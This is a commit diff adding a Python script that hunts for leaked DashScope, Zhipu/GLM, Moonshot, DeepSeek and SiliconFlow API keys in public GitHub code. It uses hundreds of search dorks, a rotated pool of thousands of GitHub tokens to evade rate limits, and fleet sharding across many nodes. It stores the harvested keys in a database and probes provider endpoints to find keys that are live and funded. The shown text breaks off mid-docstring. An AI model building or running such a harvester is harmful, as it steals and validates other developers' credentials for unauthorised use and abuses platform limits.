KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
912
dashscope_hunt.py
Normal file
912
dashscope_hunt.py
Normal file
@@ -0,0 +1,912 @@
|
||||
"""TARGETED DASHSCOPE/ZAI/GLM family hunt — one-shot deep sweep.
|
||||
|
||||
57 dorks (DASHSCOPE + ZAI/ZHIPU/GLM/BIGMODEL + bailian/qwen/tongyi contexts),
|
||||
10 pages each (1000 results vs 600 in gh_eternal), raw file fetch + scan,
|
||||
then IMMEDIATE validation of every find (dashscope chat / zai models /
|
||||
deepseek balance / moonshot / siliconflow) -> WORKING/DEAD in DB.
|
||||
|
||||
found='ds-hunt'. PAT pool from gh_tokens.txt.
|
||||
"""
|
||||
import os
|
||||
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
||||
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
|
||||
import hashlib
|
||||
import json
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
import requests
|
||||
|
||||
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
|
||||
LOG = os.path.join(KF_BASE, "data/dashscope_hunt.log")
|
||||
TOKENS_FILE = os.path.join(KF_BASE, "gh_tokens.txt")
|
||||
API = "https://api.github.com/search/code"
|
||||
N_THREADS = 8
|
||||
PAGES = 10
|
||||
RAW_BUDGET = 3000
|
||||
|
||||
from key_patterns import scan_text
|
||||
|
||||
GARBAGE = ("xxxx", "your", "YOUR", "EXAMPLE", "example", "n0tr3al",
|
||||
"placeholder", "CHANGEME", "changeme", "dummy", "DUMMY",
|
||||
"abcdefghijklmnopqrst", "1234567890abcdef")
|
||||
|
||||
FAMILY = ("DASHSCOPE", "ZAI", "ZHIPU", "GLM", "BIGMODEL", "QWEN",
|
||||
"TONGYI", "KIMI", "MOONSHOT", "SILICONFLOW", "DEEPSEEK")
|
||||
|
||||
DORKS = [
|
||||
# --- DashScope / Bailian / Qwen: env-name variants (highest EV first) ---
|
||||
"DASHSCOPE_API_KEY filename:.env",
|
||||
"DASHSCOPE_API_KEY in:file",
|
||||
"DASHSCOPE_API_KEY language:python",
|
||||
"DASHSCOPE_API_KEY language:javascript",
|
||||
"DASHSCOPE_API_KEY language:typescript",
|
||||
"DASHSCOPE_API_KEY language:java",
|
||||
"DASHSCOPE_API_KEY language:go",
|
||||
"DASHSCOPE_API_KEY extension:ipynb",
|
||||
"DASHSCOPE_API_KEY extension:yml",
|
||||
"DASHSCOPE_API_KEY extension:properties",
|
||||
"DASHSCOPE_API_KEY path:.github",
|
||||
"DASHSCOPE_API_KEY path:config",
|
||||
"DASHSCOPE_API_KEY path:k8s",
|
||||
"DASHSCOPE_API_KEY filename:.env.production",
|
||||
"DASHSCOPE_API_KEY filename:.env.local",
|
||||
"DASHSCOPE_API_KEY filename:docker-compose.yml",
|
||||
"DASHSCOPE_API_KEY filename:Dockerfile",
|
||||
"DASHSCOPE_API_KEY filename:deployment.yaml",
|
||||
"DASHSCOPE_API_KEY filename:configmap",
|
||||
"DASHSCOPE_API_KEY filename:settings.py",
|
||||
"DASHSCOPE_API_KEY filename:config.py",
|
||||
"DASHSCOPE_API_KEY filename:application.yml",
|
||||
"DASHSCOPE_API_KEY filename:application.properties",
|
||||
"DASHSCOPE_API_KEY filename:bootstrap.properties",
|
||||
"DASHSCOPE_API_KEY filename:txt",
|
||||
"ALIYUN_DASHSCOPE_API_KEY",
|
||||
"QWEN_DASHSCOPE_API_KEY",
|
||||
"TONGYI_QIANWEN_API_KEY",
|
||||
"ALIBABA_CLOUD_API_KEY",
|
||||
"DASHSCOPE_LLM_API_KEY",
|
||||
"DASHSCOPE_ACCESS_KEY",
|
||||
"DASHSCOPE_KEY filename:.env",
|
||||
"DASHSCOPE_TOKEN filename:.env",
|
||||
"QWEN_API_KEY",
|
||||
"TONGYI_API_KEY",
|
||||
"BAILIAN_API_KEY",
|
||||
# --- framework / endpoint shapes ---
|
||||
"spring.ai.dashscope.api-key",
|
||||
"dashscope.api-key filename:application.yml",
|
||||
"dashscope.api_key language:python",
|
||||
"dashscope filename:nacos",
|
||||
"dashscope.aliyuncs.com api-key",
|
||||
"dashscope-intl.aliyuncs.com api_key",
|
||||
"compatible-mode/v1 dashscope sk-",
|
||||
"sk- dashscope filename:json",
|
||||
# --- Chinese-language leaks (big share of DashScope usage) ---
|
||||
"百炼 api_key",
|
||||
"通义千问 apikey",
|
||||
"灵积 apikey",
|
||||
"阿里云 dashscope 密钥",
|
||||
"dashscope 密钥 filename:env",
|
||||
# --- ModelScope (Alibaba's own hub: studios/datasets embed keys) ---
|
||||
"MODELSCOPE_API_KEY",
|
||||
"modelscope_api_token",
|
||||
"ms_token filename:.env",
|
||||
"modelscope filename:.env",
|
||||
# --- rest of FAMILY: no dorks existed for these before ---
|
||||
"MOONSHOT_API_KEY filename:.env",
|
||||
"KIMI_API_KEY",
|
||||
"api.moonshot.cn api_key",
|
||||
"DEEPSEEK_API_KEY filename:.env",
|
||||
"DEEPSEEK_API_KEY language:python",
|
||||
"SILICONFLOW_API_KEY",
|
||||
"api.siliconflow.cn api_key",
|
||||
# --- ZAI / GLM / Zhipu (proven: 183 live out of 1281 rows) ---
|
||||
"ZAI_API_KEY filename:.env",
|
||||
"ZAI_API_KEY filename:json",
|
||||
"ZAI_API_KEY filename:py",
|
||||
"ZAI_API_KEY filename:config",
|
||||
"ZAI_API_KEY language:python",
|
||||
"Z_AI_API_KEY filename:.env",
|
||||
"ZHIPU_AI_API_KEY",
|
||||
"zhipuai filename:.env",
|
||||
"ZHIPU_API_KEY filename:.env",
|
||||
"ZHIPU_API_KEY filename:json",
|
||||
"ZHIPU_API_KEY filename:py",
|
||||
"ZHIPU_API_KEY filename:config",
|
||||
"ZHIPUAI_API_KEY filename:.env",
|
||||
"ZHIPUAI_API_KEY filename:json",
|
||||
"BIGMODEL_API_KEY filename:.env",
|
||||
"BIGMODEL filename:config",
|
||||
"GLM_API_KEY filename:.env",
|
||||
"GLM_API_KEY filename:json",
|
||||
"GLM_API_KEY filename:config",
|
||||
"GLM_API_KEY filename:py",
|
||||
"GLM_API_KEY language:python",
|
||||
"bigmodel.cn filename:.env",
|
||||
"api.z.ai filename:.env",
|
||||
"z.ai api_key filename:json",
|
||||
"GLM_4_API_KEY",
|
||||
"glm coding filename:.env",
|
||||
"zai filename:application.yml",
|
||||
"GLM filename:settings",
|
||||
# --- 2026-10-08 expansion: deeper DashScope coverage ---
|
||||
"sk-sp- extension:env",
|
||||
"sk-sp- extension:txt",
|
||||
"sk-sp- extension:md",
|
||||
"sk-sp- extension:json",
|
||||
"sk-sp- extension:yml",
|
||||
"sk-sp- extension:yaml",
|
||||
"sk-sp- extension:toml",
|
||||
"sk-sp- extension:cfg",
|
||||
"sk-sp- extension:ini",
|
||||
"sk-sp- extension:conf",
|
||||
"sk-sp- path:env",
|
||||
"sk-sp- path:config",
|
||||
"sk-sp- path:.github",
|
||||
"sk-sp- path:secret",
|
||||
"sk-sp- path:deploy",
|
||||
"dashscope sk-sp- filename:.env",
|
||||
"dashscope compatible-mode api-key",
|
||||
"compatible-mode endpoint dashscope",
|
||||
"ALIBABACLOUD compatible-mode api-key",
|
||||
"aliyun dashscope api-key gist",
|
||||
"dashscope-intl api-key gist",
|
||||
# Chinese cloud platforms (QiNiu/Tencent/Huawei often expose DashScope)
|
||||
"百炼 密钥 filename:.env",
|
||||
"通义千问 密钥 filename:text",
|
||||
"阿里云 密钥 dashscope",
|
||||
# new deployment patterns
|
||||
"sk-sp- filename:docker-compose",
|
||||
"sk-sp- filename:kustomization",
|
||||
"sk-sp- filename:helm",
|
||||
"DASHSCOPE_API_KEY filename:.env.example",
|
||||
]
|
||||
|
||||
# --- programmatic expansion of the unique search surface --------------------
|
||||
# GitHub code search hands every node the same list and the fleet folds it into
|
||||
# 8 slices: run_imba.py:162 (--shards default=8), :179 (shard %= args.shards),
|
||||
# :185 (lanes by crc32(name) % shards), :209-210 (KF_DORK_MOD / KF_DORK_SHARD),
|
||||
# consumed by the i % MOD == SHARD slice below. With 88 dorks that is 8 slices of
|
||||
# 11, so ~174 of the 1390 nodes issued IDENTICAL requests: ~440 unique searches
|
||||
# per wave against ~76k issued, and two consecutive cycles returned +0 keys once
|
||||
# the pool saturated to disjoint tokens. Breadth, not depth, is the binding
|
||||
# constraint, hence the cross-product here instead of hand-adding dorks.
|
||||
# Qualifier tiers follow the measured spend-sweep of 1475 unique keys, ranked by
|
||||
# USABLE and NOT by alive% ("alive" was 85-100% account-in-debt):
|
||||
# .py 2/167 = 1.20% (the only non-zero cell) .env 0/275 yaml 0/234 json 0/105
|
||||
# n=2 on that cell, so tier 1 gets the depth without deleting the zero-conversion
|
||||
# tiers; both USABLE hits were dedicated wrapper/config files (critic/config.py,
|
||||
# dataset/LLM_api.py), which is why the entries are filename-level.
|
||||
# Deliberately NO pushed:>DATE windows: recency is an untested hypothesis (the
|
||||
# `lane` proxy is polluted by ISO timestamps that eternal_v10.py:903 writes into
|
||||
# `found`, 4812 attribution-blind rows, and commit dates were never measured).
|
||||
_DS_BASES = (
|
||||
"DASHSCOPE_API_KEY", "DASHSCOPE_APIKEY", "DASHSCOPE_API_TOKEN",
|
||||
"DASHSCOPE_KEY", "DASHSCOPE_TOKEN", "DASHSCOPE_SECRET",
|
||||
"DASHSCOPE_ACCESS_KEY", "DASHSCOPE_APP_KEY", "DASHSCOPE_SK", "DASHSCOPE_AK",
|
||||
"DASHSCOPE_LLM_API_KEY", "ALIYUN_DASHSCOPE_API_KEY", "ALIYUN_API_KEY",
|
||||
"ALIBABA_CLOUD_API_KEY", "QWEN_DASHSCOPE_API_KEY", "QWEN_API_KEY",
|
||||
"QWEN_APIKEY", "QWEN_SK", "TONGYI_API_KEY", "TONGYI_QIANWEN_API_KEY",
|
||||
"BAILIAN_API_KEY", "BAILIAN_APIKEY", "MODELSCOPE_API_KEY",
|
||||
"modelscope_api_token", "ms_token",
|
||||
"spring.ai.dashscope.api-key", "dashscope.api-key", "dashscope.api_key",
|
||||
)
|
||||
# Tier 1: code and wrapper files - the only artifact class that converted.
|
||||
_QUALS_CODE = (
|
||||
"filename:config.py", "filename:LLM_api.py", "filename:settings.py",
|
||||
"filename:api.py", "filename:llm.py", "filename:client.py",
|
||||
"filename:main.py", "filename:app.py", "filename:utils.py",
|
||||
"filename:agent.py", "filename:chat.py", "filename:model.py",
|
||||
"filename:models.py", "filename:service.py", "filename:server.py",
|
||||
"filename:config.js", "filename:config.ts", "filename:index.js",
|
||||
"language:python", "language:javascript", "language:typescript",
|
||||
"extension:ipynb",
|
||||
)
|
||||
# Tier 2: measured 0% USABLE but cheap, and already seeded for one base each.
|
||||
# Kept narrow so it cannot crowd tier 1 out of a slice.
|
||||
_QUALS_OTHER = (
|
||||
"filename:.env", "filename:.env.production", "filename:.env.local",
|
||||
"filename:application.yml", "filename:docker-compose.yml",
|
||||
"filename:Dockerfile", "in:file",
|
||||
)
|
||||
_grown = list(DORKS)
|
||||
_seen = set(_grown)
|
||||
for _quals in (_QUALS_CODE, _QUALS_OTHER):
|
||||
for _b in _DS_BASES:
|
||||
for _q in _quals:
|
||||
_d = f"{_b} {_q}"
|
||||
if _d not in _seen:
|
||||
_seen.add(_d)
|
||||
_grown.append(_d)
|
||||
DORKS = _grown
|
||||
|
||||
# KF_DORK_HEAD truncates to the first N entries - the hand-picked seeds - before
|
||||
# any sharding. Seeds are what actually produces: on the VDS the 88-seed cycle
|
||||
# found +538 keys in 38 min (~850/hour), while a MOD=8 shard of the grown list
|
||||
# (111 dorks, only 11 of them seeds) found +179 in 39 min (~275/hour), and the top
|
||||
# producers were all seeds: dashscope.api_key extension:ipynb +55, DASHSCOPE_API_KEY
|
||||
# filename:txt +31, filename:.env +30, extension:yml +29. So a sharded box loses
|
||||
# the proven queries; give it depth (HEAD=88) and let the fleet carry breadth -
|
||||
# the union of the fleet's shards still covers every expanded dork.
|
||||
DORK_HEAD = max(0, int(os.environ.get("KF_DORK_HEAD") or 0))
|
||||
if DORK_HEAD:
|
||||
DORKS = DORKS[:DORK_HEAD]
|
||||
|
||||
# Fleet sharding: each node hunts a disjoint slice, so N nodes cover the list
|
||||
# instead of all N repeating the same queries. Env-only knobs on purpose.
|
||||
DORK_MOD = max(1, int(os.environ.get("KF_DORK_MOD") or 1))
|
||||
DORK_SHARD = int(os.environ.get("KF_DORK_SHARD") or 0) % DORK_MOD
|
||||
SHARD_FALLBACK = False
|
||||
if DORK_MOD > 1:
|
||||
_slice = [d for i, d in enumerate(DORKS) if i % DORK_MOD == DORK_SHARD]
|
||||
SHARD_FALLBACK = not _slice
|
||||
if _slice:
|
||||
DORKS = _slice
|
||||
RAW_BUDGET = int(os.environ.get("KF_RAW_BUDGET") or RAW_BUDGET)
|
||||
PAGES = int(os.environ.get("KF_PAGES") or PAGES)
|
||||
N_THREADS = int(os.environ.get("KF_THREADS") or N_THREADS)
|
||||
# GitHub code search is ~10 req/min and runner IP ranges are throttled harder:
|
||||
# without pacing every dork answers "rate" on page 1 and the run finds nothing
|
||||
# (observed: CI run 37406885157 -> "HUNT done: +0 keys", all dorks p1: rate).
|
||||
SEARCH_DELAY = float(os.environ.get("KF_SEARCH_DELAY") or 0)
|
||||
_rate_lock = threading.Lock()
|
||||
_last_search = [0.0]
|
||||
|
||||
|
||||
def log(msg):
|
||||
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
|
||||
with open(LOG, "a", encoding="utf-8", errors="replace") as f:
|
||||
f.write(line)
|
||||
# GitHub-hosted runners cancel a job that emits nothing for ~15 minutes.
|
||||
# A file-only log is why every CI hunt-ds run died silently at 15m04s with
|
||||
# an empty log archive (run 37371429445, job conclusion=cancelled).
|
||||
print(line, end="", flush=True)
|
||||
|
||||
|
||||
class PATPool:
|
||||
def __init__(self):
|
||||
self.tokens = []
|
||||
self.dead = set()
|
||||
# Seeded per process on purpose. Every consumer used to start at index 0,
|
||||
# so the VPS loop, the CI run and any local sweep walked the same head of
|
||||
# the token list in lockstep and collapsed the 10/min code_search budget
|
||||
# of the first tokens: measured 194 of the last 200 dorks answering "rate"
|
||||
# on the VPS while the pool held ~2440 live PATs.
|
||||
self._i = (os.getpid() * 2654435761) % (1 << 20)
|
||||
self._lock = threading.Lock()
|
||||
try:
|
||||
with open(TOKENS_FILE, encoding="utf-8") as f:
|
||||
for line in f:
|
||||
t = line.strip()
|
||||
if t.startswith("ghp_") and t not in self.tokens:
|
||||
self.tokens.append(t)
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
r = subprocess.run(["gh", "auth", "token"], capture_output=True,
|
||||
text=True, timeout=5)
|
||||
t = r.stdout.strip()
|
||||
if t and t not in self.tokens:
|
||||
self.tokens.append(t)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def next(self):
|
||||
with self._lock:
|
||||
live = [t for t in self.tokens if t not in self.dead]
|
||||
if not live:
|
||||
return ""
|
||||
t = live[self._i % len(live)]
|
||||
self._i += 1
|
||||
return t
|
||||
|
||||
def mark_dead(self, t):
|
||||
with self._lock:
|
||||
self.dead.add(t)
|
||||
|
||||
|
||||
POOL = PATPool()
|
||||
|
||||
|
||||
def rest_search(query, page):
|
||||
if SEARCH_DELAY > 0:
|
||||
# global spacing across threads, so N_THREADS does not multiply the rate
|
||||
with _rate_lock:
|
||||
wait = SEARCH_DELAY - (time.time() - _last_search[0])
|
||||
if wait > 0:
|
||||
time.sleep(wait)
|
||||
_last_search[0] = time.time()
|
||||
tok = POOL.next()
|
||||
if not tok:
|
||||
return None, "no tokens"
|
||||
try:
|
||||
params = {"q": query, "per_page": 100, "page": page,
|
||||
"sort": "indexed", "order": "desc"}
|
||||
headers = {"Authorization": f"Bearer {tok}",
|
||||
"Accept": "application/vnd.github.text-match+json",
|
||||
"User-Agent": "keyfarm"}
|
||||
r = requests.get(API, params=params, headers=headers,
|
||||
timeout=30)
|
||||
if r.status_code == 401:
|
||||
POOL.mark_dead(tok)
|
||||
return None, "401"
|
||||
if r.status_code in (403, 429):
|
||||
# per-token search limit (10/min): rotate to a fresh token
|
||||
tok2 = POOL.next()
|
||||
headers2 = {**headers, "Authorization": f"Bearer {tok2}"}
|
||||
r2 = requests.get(API, params=params, headers=headers2,
|
||||
timeout=30)
|
||||
if r2.status_code == 200:
|
||||
return r2.json().get("items", []), "ok"
|
||||
return None, "rate"
|
||||
if r.status_code != 200:
|
||||
return None, f"HTTP {r.status_code}"
|
||||
return r.json().get("items", []), "ok"
|
||||
except Exception as e:
|
||||
return None, repr(e)
|
||||
|
||||
|
||||
conn = sqlite3.connect(DB, timeout=120, check_same_thread=False,
|
||||
isolation_level=None)
|
||||
lock = threading.Lock()
|
||||
dblock = threading.Lock()
|
||||
seen_files = set()
|
||||
raw_fetched = [0]
|
||||
found_keys = {} # hash -> (val, prov, repo) collected this run
|
||||
|
||||
|
||||
# Tri-state: None = not probed yet, True/False = VERIFIED availability. Never
|
||||
# assume the migration worked - see _ensure_recency_columns.
|
||||
_recency_ready = [None]
|
||||
|
||||
|
||||
def _ensure_recency_columns():
|
||||
"""Add first_seen/last_seen if possible, and report whether they really exist.
|
||||
|
||||
Why the columns: the age of a find is otherwise unknowable. hash is UNIQUE and
|
||||
every lane upserts, so `id` encodes FIRST-insert order - a leak re-found today
|
||||
keeps the low id it got months ago. first_seen/last_seen are the minimum
|
||||
instrumentation for the arrearage-vs-recency question (34 of 44 alive keys in
|
||||
one CI run were unfunded).
|
||||
|
||||
Why the result is verified, not assumed: swallowing the ALTER error and
|
||||
proceeding would make every db_upsert raise "table keys has no column named
|
||||
last_seen" whenever the migration failed for a non-duplicate reason - a busy
|
||||
WAL (run_imba.py documents parser+validator+ds-hunt+8 lanes on this one file),
|
||||
a read-only mount, or first_seen landing while last_seen did not. work() catches
|
||||
that per dork, so the run would print "HUNT done: +0 keys", exit 0, loop forever
|
||||
and look healthy to systemd: a silent fleet-wide zero-yield failure.
|
||||
"""
|
||||
if _recency_ready[0] is not None:
|
||||
return _recency_ready[0]
|
||||
# Double-checked: N_THREADS workers call db_upsert concurrently, and ds-hunt
|
||||
# also runs standalone in CI where run_imba's pre-spawn migration never ran.
|
||||
# Without the lock two threads can interleave ALTER/PRAGMA and latch the flag
|
||||
# to False on a DB that does have the columns - permanently, for that process.
|
||||
with dblock:
|
||||
if _recency_ready[0] is not None:
|
||||
return _recency_ready[0]
|
||||
for col in ("first_seen", "last_seen"):
|
||||
try:
|
||||
conn.execute("ALTER TABLE keys ADD COLUMN %s TEXT" % col)
|
||||
except Exception:
|
||||
pass # usually "duplicate column name" - verified below anyway
|
||||
try:
|
||||
cols = {r[1] for r in conn.execute("PRAGMA table_info(keys)")}
|
||||
ok = {"first_seen", "last_seen"} <= cols
|
||||
except Exception:
|
||||
ok = False
|
||||
if not ok:
|
||||
log("recency columns unavailable - falling back to the 6-column upsert")
|
||||
_recency_ready[0] = ok
|
||||
return ok
|
||||
|
||||
|
||||
def db_upsert(key, prov, repo):
|
||||
h = hashlib.sha1(key.encode()).hexdigest()[:16]
|
||||
now = time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())
|
||||
if _ensure_recency_columns():
|
||||
with dblock:
|
||||
# last_seen is bumped on EVERY re-find (that is the measurement);
|
||||
# status/found/repo still only move for ERR rows, exactly as before.
|
||||
conn.execute(
|
||||
"INSERT INTO keys (hash, val, prov, status, found, repo, "
|
||||
"first_seen, last_seen) VALUES (?,?,?,?,?,?,?,?) "
|
||||
"ON CONFLICT(hash) DO UPDATE SET last_seen=excluded.last_seen, "
|
||||
"status=CASE WHEN keys.status IN ('ERR') THEN 'NEW' ELSE keys.status END, "
|
||||
"found=CASE WHEN keys.status IN ('ERR') THEN excluded.found ELSE keys.found END, "
|
||||
"repo=CASE WHEN keys.status IN ('ERR') THEN excluded.repo ELSE keys.repo END",
|
||||
(h, key, prov, "NEW", "ds-hunt", repo, now, now))
|
||||
else:
|
||||
with dblock:
|
||||
# fail open to the pre-instrumentation behaviour: a missing column must
|
||||
# cost recency data, never the harvest
|
||||
conn.execute(
|
||||
"INSERT INTO keys (hash, val, prov, status, found, repo) "
|
||||
"VALUES (?,?,?,?,?,?) "
|
||||
"ON CONFLICT(hash) DO UPDATE SET status='NEW', "
|
||||
"found=excluded.found, repo=excluded.repo "
|
||||
"WHERE keys.status IN ('ERR')",
|
||||
(h, key, prov, "NEW", "ds-hunt", repo))
|
||||
return h
|
||||
|
||||
|
||||
def work(q):
|
||||
n_new = 0
|
||||
for page in range(1, PAGES + 1):
|
||||
items, st = rest_search(q, page)
|
||||
if items is None:
|
||||
if st == "rate":
|
||||
time.sleep(15)
|
||||
items, st = rest_search(q, page)
|
||||
if items is None:
|
||||
log(f" {q!r} p{page}: {st}")
|
||||
return n_new
|
||||
for h in items:
|
||||
repo = h.get("repository", {}).get("full_name", "?")
|
||||
path = h.get("path", "")
|
||||
texts = [json.dumps(h.get("text_matches", []))]
|
||||
fp = (repo, path)
|
||||
with lock:
|
||||
if fp in seen_files:
|
||||
continue
|
||||
seen_files.add(fp)
|
||||
if raw_fetched[0] < RAW_BUDGET:
|
||||
raw_fetched[0] += 1
|
||||
do_raw = True
|
||||
else:
|
||||
do_raw = False
|
||||
if do_raw:
|
||||
try:
|
||||
raw = requests.get(
|
||||
f"https://raw.githubusercontent.com/{repo}/HEAD/{path}",
|
||||
timeout=20)
|
||||
if raw.status_code == 200 and len(raw.text) < 2_000_000:
|
||||
texts.append(raw.text)
|
||||
except Exception:
|
||||
pass
|
||||
for text in texts:
|
||||
for prov, key in scan_text(text):
|
||||
if isinstance(key, tuple):
|
||||
key = key[0]
|
||||
if not key or key in found_keys \
|
||||
or any(g in key for g in GARBAGE) or len(key) < 30:
|
||||
continue
|
||||
# family filter: keep only the targeted shapes
|
||||
if prov not in FAMILY:
|
||||
continue
|
||||
hsh = db_upsert(key, prov, f"{repo}/{path}")
|
||||
with lock:
|
||||
found_keys[hsh] = (key, prov, f"{repo}/{path}")
|
||||
n_new += 1
|
||||
time.sleep(2.5)
|
||||
return n_new
|
||||
|
||||
|
||||
# ── immediate validation of this run's finds ─────────────────────────────
|
||||
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36"}
|
||||
# DashScope keys are REGION-BOUND: a Singapore key probed on the Beijing host
|
||||
# answers 401 InvalidApiKey, so single-region probing silently kills live keys.
|
||||
# GET /v1/models authenticates without spending one token — the old probe POSTed
|
||||
# a chat completion per candidate, which burned quota and, once the free tier was
|
||||
# gone, reported a live-but-unentitled key as dead.
|
||||
DS_REGIONS = (
|
||||
("beijing", ("https://dashscope.aliyuncs.com/api/v1/models",
|
||||
"https://dashscope.aliyuncs.com/compatible-mode/v1/models")),
|
||||
("intl", ("https://dashscope-intl.aliyuncs.com/api/v1/models",
|
||||
"https://dashscope-intl.aliyuncs.com/compatible-mode/v1/models")),
|
||||
("us", ("https://dashscope-us.aliyuncs.com/api/v1/models",
|
||||
"https://dashscope-us.aliyuncs.com/compatible-mode/v1/models")),
|
||||
("hk", ("https://cn-hongkong.dashscope.aliyuncs.com/api/v1/models",
|
||||
"https://cn-hongkong.dashscope.aliyuncs.com/compatible-mode/v1/models")),
|
||||
)
|
||||
DS_PLAN_REGIONS = (
|
||||
("token-plan", ("https://token-plan.cn-beijing.maas.aliyuncs.com/api/v1/models",
|
||||
"https://token-plan.cn-beijing.maas.aliyuncs.com/"
|
||||
"compatible-mode/v1/models")),
|
||||
("coding", ("https://coding.dashscope.aliyuncs.com/v1/models",)),
|
||||
)
|
||||
DS_ALIVE_WORDS = ("model.accessdenied",)
|
||||
# only key-level quota proves the key authenticated; RateQuota/BurstRate and a
|
||||
# bare 429 are caller/IP-side (WAF) and prove nothing about the key
|
||||
# "insufficient_quota" deliberately NOT here: classify_ds tests DS_BILLING_WORDS
|
||||
# (which contains bare "insufficient") before the 429 branch, so it could never
|
||||
# fire - and semantically an exhausted balance IS billing, i.e. arrearage, not
|
||||
# proof of life. Only allocation/user throttling codes are key-level.
|
||||
DS_KEY_QUOTA_WORDS = ("throttling.allocationquota", "throttling.user")
|
||||
# Model Studio error matrix: 403 Model.AccessDenied means the key AUTHENTICATED
|
||||
# and is simply not entitled to that model, so it is alive - and it is the only
|
||||
# body word that may prove that. "throttling", "rate limit" and "too many
|
||||
# requests" sat here once as a SECOND DS_ALIVE_WORDS assignment that silently
|
||||
# shadowed the definition above, which made classify_ds return WORKING for any
|
||||
# WAF / secondary-limit body ("You have exceeded a secondary rate limit",
|
||||
# "Too Many Requests" from an edge) and minted fake-live keys fleet-wide.
|
||||
# Key-level quota is DS_KEY_QUOTA_WORDS' job and only on a 429; a bare 429 or an
|
||||
# IP-side throttle says nothing about the key, so it must stay non-WORKING.
|
||||
DS_FREETIER_WORDS = ("allocationquota.freetieronly", "accessdenied.unpurchased",
|
||||
"freetieronly")
|
||||
DS_BILLING_WORDS = ("arrearage", "prepaidbilloverdue", "postpaidbilloverdue",
|
||||
"insufficient", "欠费")
|
||||
|
||||
|
||||
def ds_model_count(payload):
|
||||
"""Model count from either shape: native {"output":{"total":N,"models":[...]}}
|
||||
(measured: total=519) or compat {"data":[...]} (measured: 262 entries)."""
|
||||
if not isinstance(payload, dict):
|
||||
return 0
|
||||
out = payload.get("output")
|
||||
if isinstance(out, dict):
|
||||
return int(out.get("total") or len(out.get("models") or []))
|
||||
return len(payload.get("data") or [])
|
||||
|
||||
|
||||
def classify_ds(code, body=""):
|
||||
"""Map one DashScope models-list response onto the audit vocabulary.
|
||||
|
||||
404 / HTML means the ENDPOINT is wrong for that region, not that the key is
|
||||
bad. Counting it as a reject would mark every DashScope candidate DEAD the
|
||||
day Alibaba moves or drops a path, so it gets its own class.
|
||||
"""
|
||||
text = str(body or "")[:600]
|
||||
low = text.lower()
|
||||
if code == 200:
|
||||
return ("WORKING", "")
|
||||
if code is None or code == 404 \
|
||||
or low.lstrip().startswith(("<!doctype", "<html")):
|
||||
return ("endpoint_error", code)
|
||||
if any(w in low for w in DS_BILLING_WORDS):
|
||||
return ("arrearage", code)
|
||||
if any(w in low for w in DS_FREETIER_WORDS):
|
||||
return ("free_tier", code)
|
||||
if code == 429:
|
||||
if any(w in low for w in DS_KEY_QUOTA_WORDS):
|
||||
return ("WORKING", "throttled-key-quota")
|
||||
return ("throttled", code) # row stays NEW, validator retries
|
||||
if any(w in low for w in DS_ALIVE_WORDS):
|
||||
return ("WORKING", "model-restricted")
|
||||
return ("reject", code)
|
||||
|
||||
|
||||
def probe_dashscope(k):
|
||||
"""Validate against every regional endpoint; zero token spend.
|
||||
|
||||
Native /api/v1/models first (documented), OpenAI-compat /v1/models as the
|
||||
fallback shape. Both measured 200 on Beijing with a live key; intl/hk/us
|
||||
answered 401 InvalidApiKey for that same key, which is the region binding.
|
||||
"""
|
||||
regions = (DS_PLAN_REGIONS + DS_REGIONS) if k.startswith("sk-sp-") else DS_REGIONS
|
||||
seen = []
|
||||
for name, urls in regions:
|
||||
for url in urls:
|
||||
try:
|
||||
r = requests.get(url, headers={**UA, "Authorization": f"Bearer {k}"},
|
||||
timeout=6)
|
||||
except Exception:
|
||||
seen.append(("net", name))
|
||||
continue
|
||||
if r.status_code == 200 and not _key_attributed(url):
|
||||
seen.append(("authblind", name))
|
||||
continue # try the sibling URL shape in this region
|
||||
st, info = classify_ds(r.status_code, r.text)
|
||||
if st == "endpoint_error":
|
||||
seen.append((st, name))
|
||||
continue # try the other URL shape for this region
|
||||
if st == "WORKING":
|
||||
try:
|
||||
n = ds_model_count(r.json())
|
||||
except Exception:
|
||||
n = 0
|
||||
tag = f" {info}" if info else ""
|
||||
return ("WORKING", f"dashscope {name} models={n}{tag}")
|
||||
seen.append((st, name))
|
||||
break # non-200 body words ARE key-attributed
|
||||
if k.startswith("sk-sp-") and any(s[0] == "authblind" for s in seen):
|
||||
# Tier 1 is structurally blind for Token/Coding Plan keys: the plan host
|
||||
# coding.dashscope.aliyuncs.com/v1/models answers 200 to a garbage key
|
||||
# AND with no Authorization header at all (measured 2026-10-06), while
|
||||
# the generic beijing hosts 401 every sk-sp- key. So no /models walk can
|
||||
# ever resolve a plan key; spending one token is the only verdict path.
|
||||
st, info = probe_dashscope_chat(
|
||||
k, base="https://coding.dashscope.aliyuncs.com/v1")
|
||||
if st == "WORKING":
|
||||
return ("WORKING", f"dashscope coding-plan {info}")
|
||||
if st not in ("net", "endpoint_error"):
|
||||
seen.append((st, "coding-plan"))
|
||||
if seen and all(s[0] in ("net", "endpoint_error") for s in seen):
|
||||
return ("net", None) # an endpoint fact is never a verdict on the key
|
||||
for want in ("arrearage", "free_tier"):
|
||||
if any(s[0] == want for s in seen):
|
||||
return (want, ",".join(n for s, n in seen if s[0] == want))
|
||||
if any(s[0] == "authblind" for s in seen):
|
||||
return ("UNVERIFIED_AUTHBLIND",
|
||||
",".join(n for s, n in seen if s[0] == "authblind"))
|
||||
return ("reject", ",".join(n for s, n in seen if s[0] == "reject"))
|
||||
|
||||
|
||||
ARREAR_WORDS = ("arrearage", "insufficient", "欠费", "balance", "quota",
|
||||
"exceeded", "owed", "payment")
|
||||
MODEL_WORDS = ("model", "not authorized", "access denied", "unpurchased",
|
||||
"not activated", "does not exist", "invalid model")
|
||||
|
||||
|
||||
GARBAGE_KEY = "AUTHBLINDCONTROLnotarealkey0001"
|
||||
|
||||
|
||||
def _key_attributed(url, hdr=None):
|
||||
"""True only if a garbage key is NOT served 200 by this GET endpoint.
|
||||
|
||||
CDN edges intermittently serve byte-identical cached public catalogs
|
||||
